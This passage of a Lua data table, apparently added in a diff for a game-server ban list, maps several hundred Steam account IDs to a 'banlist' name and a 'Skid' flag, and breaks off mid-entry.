["STEAM_0:0:31497344"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25922646"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9827142"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27127584"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5585985"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48851073"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19761615"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22190327"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37565711"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35587981"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32702038"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20080793"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29039338"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20145870"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27465224"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16756548"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25594938"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30157286"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18354007"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43867868"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10150171"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28338435"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9220491"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26903376"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:46758361"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:44686983"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24877865"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32111930"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30325447"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24848652"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25720885"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43713579"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29512933"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22790370"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37133379"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21714698"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18090791"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20151704"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19634899"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21405727"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19446723"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32754136"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26784229"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19778556"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14613280"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30174177"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28709748"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17525938"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33437182"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40598670"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20421636"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31749630"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38255081"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14253981"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30882882"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29821389"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15615520"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31021625"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16069170"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18741984"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26596622"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32018761"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38393094"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26837409"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30496214"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18067781"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23018921"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22198451"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12711819"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23574454"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11372749"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28677127"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:47920560"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41198648"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33502743"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42667042"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5124434"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9610008"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30480788"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31930584"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:734963"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14407998"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29581259"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39830848"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34721136"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27034597"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23256563"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18141544"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:45822520"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20775995"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27927238"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39190863"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24909765"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40881174"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:4232068"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25504728"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32905074"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33343335"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26233462"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20385610"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6781029"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20903047"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15672028"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20140979"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37374632"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22809262"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27503788"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6974361"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21844531"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39193585"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20323314"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14379687"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15789263"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40127246"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34877774"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20267870"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23961514"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33570327"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31636293"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12109606"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12613282"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32137839"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29658506"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22051848"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39931545"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20953309"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39208008"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17842514"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20503191"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37759959"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14415121"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37859194"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17483763"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33414218"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42600650"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34712213"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24426064"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28414483"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26248016"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24303212"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19496862"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20456064"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14802564"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:44958803"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20159654"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29520685"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27276946"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29715040"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25439381"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38272783"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40128161"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30973422"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31626221"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26520244"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24936495"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39139232"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12079893"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24387457"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19528046"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17776349"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24216096"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8049910"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37765925"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19008043"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10107702"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16701545"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18370125"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37690617"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25395054"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10775802"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21044659"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32821725"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33023973"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33141961"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15013009"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37354807"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32899155"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20326245"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26171215"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21946127"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10249039"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16324500"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24751204"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22288515"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16032569"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:2984842"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31430042"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14867306"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21228288"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32591857"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11117640"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18602387"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21620997"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15683773"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30173631"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14524028"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12656449"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37245819"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31550346"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24134873"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29684213"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20315015"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37290222"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12680454"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14938234"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24714463"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:2577848"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20123278"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19711550"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6189682"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29377046"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13390978"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37730160"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22358541"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20712749"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35658962"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33015207"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42813575"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28120449"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14236411"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10966426"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25204779"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25912584"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24049225"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25490214"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41277037"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:44377406"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13251599"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20746384"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17782219"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15282619"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31051702"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24051323"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25623139"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26106155"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16225722"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37884462"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26137352"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15060197"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24238213"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17755893"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16740424"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26647112"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24840872"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30676453"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28334924"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25289713"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:44547538"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35291117"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34968639"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:3276724"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24784527"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23285179"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:1255154"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38583899"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20430691"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20431003"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41554973"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26285276"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42805428"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37480574"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22883010"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24523569"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29441349"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19608485"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20927574"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:46427479"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19216916"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20413509"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34903864"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18372924"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10798042"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18640712"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10385506"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17339361"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28431979"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29139614"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25330972"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28847807"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24644802"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10590599"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27742498"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:1731807"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39812982"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29474814"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24099548"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9574160"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18548054"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26452726"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32942718"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37544345"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19758541"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:175617441"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27009278"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38098425"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5194436"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16087139"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20937983"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48376840"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30502046"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27119610"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17312503"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41979886"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21738408"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24418752"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30694432"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18776923"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26190795"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22714456"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36956130"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20100210"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7967611"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19419575"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33672863"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30286573"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34003251"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10022616"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15574365"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23726500"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18191704"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43665562"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22396164"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29287655"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22329314"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24838395"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37539612"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15807649"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19519191"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36206584"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29244565"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15264714"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32973004"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:3139416"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19155887"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39905337"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15511602"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11002940"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:36728992"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22121678"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31353155"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21640255"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11067617"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21927993"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17523434"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38470495"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24724241"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29152112"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15658690"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17353749"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16771120"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35485039"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19556528"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7972339"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10987303"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28938661"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8207859"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6428933"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20189488"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27004343"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6808282"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26308117"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:2286"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14171322"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25215691"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29212210"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8874007"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31963824"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29615423"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15113269"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32666814"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31839326"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19046413"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:8362913"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16248315"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43130643"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24392922"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26824361"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19575009"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25348501"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19269211"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29663201"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31646445"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:304929"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26730701"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:7148122"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19270309"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14791474"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19944614"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15273453"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33399279"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6171488"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33335960"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34058080"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30020484"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20366142"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24425545"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19732901"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9584607"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23620136"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31063013"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32294015"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3785646"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27202623"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28822702"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26757838"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20578969"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29636924"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15680406"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34503721"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:1897166"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34407101"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19039355"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22135597"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26410212"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27038887"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34119459"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15521243"] = {Name = "banlist: 